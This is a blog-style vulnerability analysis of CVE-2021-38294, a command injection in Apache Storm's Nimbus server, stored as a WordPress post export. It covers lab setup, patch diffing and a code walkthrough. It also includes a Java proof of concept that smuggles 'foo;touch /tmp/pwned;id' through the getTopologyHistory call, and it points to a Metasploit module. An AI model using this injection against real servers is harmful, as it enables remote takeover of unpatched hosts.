{"id":68393,"date":"2023-06-26T15:42:39","date_gmt":"2023-06-26T07:42:39","guid":{"rendered":"https:\/\/version-2.com\/?p=68393"},"modified":"2023-07-24T18:16:15","modified_gmt":"2023-07-24T10:16:15","slug":"cve-2021-38294-apache-storm-nimbus-command-injection","status":"publish","type":"post","link":"https:\/\/version-2.com\/zh\/2023\/06\/cve-2021-38294-apache-storm-nimbus-command-injection\/","title":{"rendered":"CVE-2021-38294: Apache Storm Nimbus Command Injection"},"content":{"rendered":"\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t\t\t
\n

Introduction<\/strong><\/span><\/h1>\n#CVE-2021-38294 is a Command Injection vulnerability that affects Nimbus server in apache storm in\u00a0getTopologyHistory<\/code>\u00a0services, A successful crafted request to Nimbus server will result in exploitation for this vulnerability will lead to execute malicious command & takeover the server. The affected versions are\u00a01.x<\/code>\u00a0prior to\u00a01.2.4<\/code>\u00a0&\u00a02.x<\/code>\u00a0prior to\u00a02.2.1<\/code>.<\/span>\n

What is Apache Storm ?<\/strong><\/span><\/h1>\nApache Storm<\/code>\u00a0is a distributed system for processing big data in real-time, Specifically designed to handle large volumes of data in a reliable and scalable manner and It operates as a streaming data framework allowing for high ingestion rates and efficient data processing. While it is stateless, Storm effectively manages distributed environments and cluster states through Apache ZooKeeper. It provides a straightforward approach to performing parallel manipulations on real-time data, enabling a wide range of data processing tasks. Apache Storm is extensively used by a lot of enterprises\/organizations such as Twitter for processing tweets and clicks in its\u00a0Publisher Analytics Products<\/code>\u00a0suite, benefiting from deep integration with the Twitter infrastructure.<\/span>\n\n<\/span>\n\nIn\u00a0Apache Storm<\/code>\u00a0spouts and bolts are connected to form a topology, which represents the real-time application logic as a directed graph. Spouts emit data that is processed by bolts, and the output of a bolt can be passed to another bolt. storm keeps the topology running until explicitly stopped. The execution of spouts and bolts in storm is referred to as\u00a0tasks<\/code>. Each spout and bolt can have multiple instances running in separate threads. These tasks are distributed across multiple worker nodes, and the worker nodes listen for jobs and manage the execution of tasks. Finally, What we will need to know well are\u00a0Nimbus<\/code>\u00a0known as master node which plays a central role in the storm framework as it is responsible for running the storm topology by analyzes the topology and collects the tasks to be executed, distributing them to an available\u00a0Supervisor<\/code>\u00a0node and\u00a0Supervisor<\/code>\u00a0is the worker node which can have multiple worker processes, It’s job is to delegate the tasks to these worker processes & each worker process can spawn multiple executors based on the required workload and executes the assigned tasks and communication between the\u00a0Nimbus<\/code>\u00a0and\u00a0Supervisors<\/code>\u00a0is facilitated through an internal distributed messaging system ensuring efficient coordination and data exchange within the storm cluster.<\/span>\n

Testing Lab<\/strong><\/span><\/h1>\nLet’s start to build our testing lab. First, We would need\u00a0ZooKeeper<\/code>\u00a0to be installed you can download it from\u00a0here<\/a>. After downloading, extract it and create a directory\u00a0data<\/code>\u00a0within\u00a0Zookeeper<\/code>\u00a0directory:<\/span>\n
mkdir data<\/code><\/span><\/pre>\n<\/span>\n\nNext, Copy the sample configuration as a main configuration file for\u00a0Zookeeper<\/code>:<\/span>\n
cp conf\/zoo_sample.cfg conf\/zoo.cfg<\/code><\/span><\/pre>\n<\/span>\n\nOpen\u00a0zoo.cfg<\/code>\u00a0file and add the\u00a0data<\/code>\u00a0directory file path we created previously:<\/span>\n\n<\/span>\n\nNow, Start\u00a0ZooKeeper<\/code>:<\/span>\n
.\/bin\/zkServer.sh start<\/code><\/span><\/pre>\n<\/span>\n\nThe server started and verify it by running the\u00a0CLI<\/code>:<\/span>\n
.\/bin\/zkCli.sh<\/code><\/span><\/pre>\n<\/span>\n\nNow, It’s time to install & start\u00a0Apache Storm<\/code>, Download it from\u00a0here<\/a>. First, Create another folder inside of\u00a0apache storm<\/code>\u00a0directory by the name\u00a0data<\/code>:<\/span>\n
mkdir data<\/code><\/span><\/pre>\n<\/span>\n\nAfter that open the configurations file\u00a0conf\/storm.yaml<\/code>\u00a0and add the following to the file:<\/span>\n
# Storm configuration file\n\n# Nimbus settings\nnimbus.seeds: [\"localhost\"]  # List of Nimbus hostnames or IP addresses\nnimbus.host: \"localhost\"\n# ZooKeeper settings\nstorm.zookeeper.servers:\n  - \"localhost\"\n\n# Storm UI settings\nui.port: 8081  \n\n# Supervisor settings\nsupervisor.slots.ports:\n  - 6700\n  - 6701\n  - 6702\n\n# Worker settings\nworker.childopts: \"-Xmx768m\"\n\n# Topology settings\ntopology.debug: true  # Enable debugging for topologies\ntopology.max.spout.pending: 1000  # Maximum number of pending messages per spout\n\n# Log4j settings\nworker.log.level: INFO  # Log level for Storm workers<\/code><\/span><\/pre>\nDon’t forget to replace the\u00a0Zookeper<\/code>\u00a0&\u00a0Nimbus<\/code>\u00a0server IP with your IP (The same machine IP<\/code>). Let’s start it now. Starting\u00a0Nimbus<\/code>\u00a0server:<\/span>\n
.\/bin\/storm nimbus<\/code><\/span><\/pre>\n<\/span>\n\nStarting\u00a0Supervisor<\/code>:<\/span>\n
.\/bin\/storm supervisor<\/code><\/span><\/pre>\n<\/span>\n\nStarting\u00a0Storm<\/code>\u00a0UI:<\/span>\n
.\/bin\/storm ui<\/code><\/span><\/pre>\n<\/span>\n\nVisit the\u00a0UI<\/code>\u00a0on port\u00a08081<\/code>\u00a0as we configure:<\/span>\n\n<\/span>\n
Patch Diffing<\/strong><\/span><\/h1>\nYou can download the source code from\u00a0here<\/a>, The patch\u00a0here<\/a>\u00a0on github.<\/span>\n\n<\/span>\n\nIt shows us changes made to\u00a0storm-client\/src\/jvm\/org\/apache\/storm\/utils\/ShellUtils.java<\/code>\u00a0where the\u00a0getGroupsCommand()<\/code>\u00a0method got deleted which was return a command as a string array to retrieve the groups on the system. Then, the following function modified:<\/span>\n
##### Before\npublic static String[] getGroupsForUserCommand(final String user) {\n        if (WINDOWS) {\n            throw new UnsupportedOperationException(\"Getting user groups is not supported on Windows\");\n        }\n        \/\/'groups username' command return is non-consistent across different unixes\n        return new String[]{\n            \"bash\", \"-c\", \"id -gn \" + user\n                          + \"&& id -Gn \" + user\n        };\n    }\n    \n##### After\npublic static String[] getGroupsForUserCommand(final String user) {\n        if (WINDOWS) {\n            throw new UnsupportedOperationException(\"Getting user groups is not supported on Windows\");\n        }\n        \/\/'groups username' command return is non-consistent across different unixes\n        return new String[]{\"id\", \"-Gn\", user};\n    }<\/code><\/span><\/pre>\nThe modification of\u00a0getGroupsForUserCommand(String user)<\/code>\u00a0has been updated to use a more concise command. We can see clearly from the patch diffing that the Command Injection Occures in this part specifically in\u00a0user<\/code>\u00a0parameter that get passed to the\u00a0getGroupsForUserCommand()<\/code>\u00a0and also we can notice the\u00a0bach -c<\/code>\u00a0in the\u00a0String<\/code>\u00a0array, Let’s move to the analysis to understand how this happens.<\/span>\n
The Analysis<\/strong><\/span><\/h1>\nWhen we go to the\u00a0apache-storm-2.2.0\/storm-client\/src\/jvm\/org\/apache\/storm\/utils\/ShellUtils.java<\/code>\u00a0and scroll down after\u00a0getGroupsForUserCommand()<\/code>\u00a0method we can see the following:<\/span>\n\n<\/span>\n\nThis\u00a0run()<\/code>\u00a0method is declared as\u00a0protected<\/code>\u00a0which means it can only be accessed within the same package or by sub-classes and it implements a control flow that determines whether a specified interval has passed since the last execution, If the interval has passed it will reset the\u00a0exitCode<\/code>\u00a0and proceeds to execute the\u00a0runCommand()<\/code>\u00a0method. Now, By scrolling down:<\/span>\n\n<\/span>\n\nWe will be able to see the\u00a0runCommand()<\/code>\u00a0method and It’s a long method, So let’s break it down and explain it:<\/span>\n
ProcessBuilder builder = new ProcessBuilder(getExecString());\nTimer timeOutTimer = null;\nShellTimeoutTimerTask timeoutTimerTask = null;\ntimedOut = new AtomicBoolean(false);\ncompleted = new AtomicBoolean(false);<\/code><\/span><\/pre>\nFirst, It creates a new\u00a0ProcessBuilder<\/code>\u00a0object with the executable command obtained from the\u00a0getExecString()<\/code>\u00a0method:<\/span>\n\n<\/span>\n\nHere is the\u00a0getExecString()<\/code>\u00a0method which returns the command value. Then, it declares two variables of type\u00a0Timer<\/code>\u00a0and\u00a0ShellTimeoutTimerTask<\/code>\u00a0as\u00a0null<\/code>\u00a0which will be used to handle timeouts for the command execution. Finally, Creates two\u00a0AtomicBoolean<\/code>\u00a0variables named\u00a0timedOut<\/code>\u00a0and\u00a0completed<\/code>\u00a0& initializes them with the value\u00a0false<\/code>\u00a0which used to track the status of the command execution.<\/span>\n
if (environment != null) {\n    builder.environment().putAll(this.environment);\n}\nif (dir != null) {\n    builder.directory(this.dir);\n}\n\nbuilder.redirectErrorStream(redirectErrorStream);\nprocess = builder.start();<\/code><\/span><\/pre>\nThe first\u00a0if<\/code>\u00a0condition checks if the\u00a0environment<\/code>\u00a0variable is not\u00a0null<\/code>\u00a0and If it’s not\u00a0null<\/code>, it retrieves the environment variables associated with the\u00a0ProcessBuilder<\/code>\u00a0instance using\u00a0builder.environment()<\/code>\u00a0and adds all the key value pairs from the\u00a0this.environment<\/code>\u00a0map. The second\u00a0if<\/code>\u00a0condition checks if the\u00a0dir<\/code>\u00a0variable is not\u00a0null<\/code>\u00a0and If it’s not\u00a0null<\/code>, it sets the working directory of the process to the specified directory\u00a0t his.dir<\/code>\u00a0using\u00a0builder.directory(this.dir)<\/code>. Finally, it’s configuring the\u00a0ProcessBuilder<\/code>\u00a0to redirect the error stream of the process to the same output stream If\u00a0redirectErrorStream<\/code>\u00a0is set to\u00a0true<\/code>\u00a0the error stream will be merged with the standard output stream and then starts the process using the configured\u00a0ProcessBuilder<\/code>\u00a0by calling the\u00a0start()<\/code>\u00a0method.<\/span>\n
if (timeOutInterval > 0) {\n    timeOutTimer = new Timer(\"Shell command timeout\");\n    timeoutTimerTask = new ShellTimeoutTimerTask(this);\n    \/\/One time scheduling.\n    timeOutTimer.schedule(timeoutTimerTask, timeOutInterval);\n}\nfinal BufferedReader errReader =\n    new BufferedReader(new InputStreamReader(process\n                                                 .getErrorStream()));\nBufferedReader inReader =\n    new BufferedReader(new InputStreamReader(process\n                                                 .getInputStream()));\nfinal StringBuffer errMsg = new StringBuffer();\n\n\/\/ read error and input streams as this would free up the buffers\n\/\/ free the error stream buffer\nThread errThread = new Thread() {<\/code><\/span><\/pre>\nMoving to here this\u00a0IF<\/code>\u00a0condition checks if the\u00a0timeOutInterval<\/code>\u00a0is greater than\u00a00<\/code>, then set up a timer\u00a0Shell command timeout<\/code>\u00a0task to handle the timeout and schedule the\u00a0timeoutTimerTask<\/code>\u00a0to run after the specified\u00a0timeOutInterval<\/code>\u00a0in milliseconds. After that create 2\u00a0BufferedReader<\/code>\u00a0objects which are\u00a0errReader<\/code>\u00a0and\u00a0inReader<\/code>\u00a0to read the error and input streams of the process, respectively. The\u00a0process.getErrorStream()<\/code>\u00a0and\u00a0process.getInputStream()<\/code>\u00a0methods return the streams associated with the running process. Next, a\u00a0StringBuffer<\/code>\u00a0object named\u00a0errMsg<\/code>\u00a0to store the error message, a new\u00a0Thread<\/code>\u00a0object named\u00a0errThread<\/code>\u00a0then create an anonymous subclass of\u00a0Thread<\/code>\u00a0with overridden\u00a0run()<\/code>\u00a0method.<\/span>\n
@Override\npublic void run() {\n    try {\n        String line = errReader.readLine();\n        while ((line != null) && !isInterrupted()) {\n            errMsg.append(line);\n            errMsg.append(System.getProperty(\"line.separator\"));\n            line = errReader.readLine();\n        }\n    } catch (IOException ioe) {\n        LOG.warn(\"Error reading the error stream\", ioe);\n    }\n}\n};\ntry {\nerrThread.start();\n} catch (IllegalStateException ise) {\n\/\/ignore\n}\ntry {\nparseExecResult(inReader); \/\/ parse the output\n\/\/ clear the input stream buffer\nString line = inReader.readLine();\nwhile (line != null) {\n    line = inReader.readLine();\n}\n\/\/ wait for the process to finish and check the exit code\nexitCode = process.waitFor();\n\/\/ make sure that the error thread exits\njoinThread(errThread);\ncompleted.set(true);\n\/\/the timeout thread handling\n\/\/taken care in finally block\nif (exitCode != 0) {\n    throw new ExitCodeException(exitCode, errMsg.toString());\n}\n} catch (InterruptedException ie) {\nthrow new IOException(ie.toString());\n} finally {\nif (timeOutTimer != null) {\n    timeOutTimer.cancel();\n}\n\/\/ close the input stream\ntry {\n    \/\/ JDK 7 tries to automatically drain the input streams for us\n    \/\/ when the process exits, but since close is not synchronized,\n    \/\/ it creates a race if we close the stream first and the same\n    \/\/ fd is recycled.  the stream draining thread will attempt to\n    \/\/ drain that fd!!  it may block, OOM, or cause bizarre behavior\n    \/\/ see: https:\/\/bugs.openjdk.java.net\/browse\/JDK-8024521\n    \/\/      issue is fixed in build 7u60\n    InputStream stdout = process.getInputStream();\n    synchronized (stdout) {\n        inReader.close();\n    }\n} catch (IOException ioe) {\n    LOG.warn(\"Error while closing the input stream\", ioe);\n}\nif (!completed.get()) {\n    errThread.interrupt();\n    joinThread(errThread);\n}\ntry {\n    InputStream stderr = process.getErrorStream();\n    synchronized (stderr) {\n        errReader.close();\n    }\n} catch (IOException ioe) {\n    LOG.warn(\"Error while closing the error stream\", ioe);\n}\nprocess.destroy();\nlastTime = System.currentTimeMillis();\n}<\/code><\/span><\/pre>\nFinally, In a summary defines a thread that reads the error stream and appends its contents to the\u00a0errMsg<\/code>\u00a0StringBuffer<\/code>\u00a0and start the thread & then proceeds to parse the output from the input stream using the\u00a0parseExecResult<\/code>\u00a0method. After that, the input stream clear its buffer. Then, wait for the process to finish and retrieves the exit code. Next, It ensure that the error thread has exited by joining it and If the exit code is not zero, it throws an\u00a0ExitCodeException<\/code>\u00a0with the error message. In the\u00a0finally<\/code>\u00a0block, it cancel the timeout timer if it exists, closes the input stream, interrupts the error thread if the command execution is not completed, closes the error stream, destroys the process, and updates the\u00a0lastTime<\/code>\u00a0variable with the current time. So, Now how actually the code can get injected or where is the point that the user give the malicious input ?. Let’s discover it by going through the\u00a0PoC<\/code>:<\/span>\n
import org.apache.storm.utils.NimbusClient;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\n\npublic class ThriftClient {\n    public static void main(String[] args) throws Exception {\n        HashMap config = new HashMap();\n        List<String> seeds = new ArrayList<String>();\n        seeds.add(\"localhost\");\n        config.put(\"storm.thrift.transport\", \"org.apache.storm.security.auth.SimpleTransportPlugin\");\n        config.put(\"storm.thrift.socket.timeout.ms\", 60000);\n        config.put(\"nimbus.seeds\", seeds);\n        config.put(\"storm.nimbus.retry.times\", 5);\n        config.put(\"storm.nimbus.retry.interval.millis\", 2000);\n        config.put(\"storm.nimbus.retry.intervalceiling.millis\", 60000);\n        config.put(\"nimbus.thrift.port\", 6627);\n        config.put(\"nimbus.thrift.max_buffer_size\", 1048576);\n        config.put(\"nimbus.thrift.threads\", 64);\n        NimbusClient nimbusClient = new NimbusClient(config, \"localhost\", 6627);\n\n        \/\/ send attack\n        nimbusClient.getClient().getTopologyHistory(\"foo;touch \/tmp\/pwned;id \");\n    }\n}<\/code><\/span><\/pre>\nWhen we take a look here at the\u00a0PoC<\/code>\u00a0we can notice that it’s connecting to\u00a0Storm<\/code>\u00a0cluster by adding the configuration first. Then connect to the cluster at\u00a0localhost<\/code>\u00a0on port\u00a06627<\/code>\u00a0& passing the previous configurations. the call the\u00a0getTopologyHistory()<\/code>\u00a0function from the\u00a0Storm<\/code>\u00a0Client. And here where is the command Injection happens. Let’s take a look at the implementation of\u00a0Nimbus<\/code>\u00a0and the function:<\/span>\n\n<\/span>\n\nWhen we go under\u00a0apache-storm-2.2.0\/storm-server\/src\/main\/java\/org\/apache\/storm\/nimbus\/NimbusHeartbeatsPressureTest.java<\/code>\u00a0which is responsible for implementation of a\u00a0Nimbus<\/code>\u00a0heartbeats pressure test. It starts with defining the class and other variables for configurations.<\/span>\n\n<\/span>\n\nAfter that as we can see it starts to initializing the\u00a0Config<\/code>\u00a0for the heartbeats pressure test. Then by scrolling more down:<\/span>\n\n<\/span>\n\nWe can see clearly in the\u00a0HeartbeatSendTask<\/code>\u00a0that it’s using the defined\u00a0NimbusClient<\/code>\u00a0that named\u00a0client<\/code>\u00a0to create a new client connection & Passed the previous initialized\u00a0Config<\/code>\u00a0with\u00a0Nimbus<\/code>\u00a0Host & Port.<\/span>\n\n<\/span>\n\nFinally, Here we can see it started to connect to the configured\u00a0client<\/code>\u00a0and call the\u00a0sendSupervisorWorkerHeartbeats()<\/code>\u00a0method which can be called remotely. Now, if we go to the\u00a0apache-storm-2.2.0\/storm-server\/src\/main\/java\/org\/apache\/storm\/daemon\/nimbus\/Nimbus.java<\/code>\u00a0Class:<\/span>\n\n<\/span>\n\nHere we can see the method clearly accessible remotely and also if we search for\u00a0getTopologyHistory()<\/code>\u00a0method:<\/span>\n\n<\/span>\n\nHere we can see the method clearly and it takes the\u00a0user<\/code>\u00a0as an parameter to retrieve the topology history information for a the user. And here where the command get injected, When we back to the first of the analysis at the patch diffing when we return information about user, As the user here can be passed and manupilated by anyone through\u00a0getTopologyHistory()<\/code>\u00a0method. It will result in malicious command Injection.<\/span>\n
Exploitation<\/strong><\/span><\/h1>\nHere we have 2 ways to exploit\u00a0CVE-2021-38294<\/code>\u00a0an exploit within\u00a0Metasploit<\/code>\u00a0with metasploit as it’s easy to use and most of us fimalier with it By using the following module:<\/span>\n\n<\/span>\n\nand the 2nd one is a\u00a0PoC<\/code>\u00a0within\u00a0github<\/a>.<\/span>\n
Conclusion<\/strong><\/span><\/h1>\nFinally, This bug only works on linux as the injectable of the affected component is when getting the information about the user on linux. We saw how this vulnerability happens and the root-cause of the vulnerability & How it can be exploited remotely.<\/span>\n
Resources<\/strong><\/span><\/h1>\n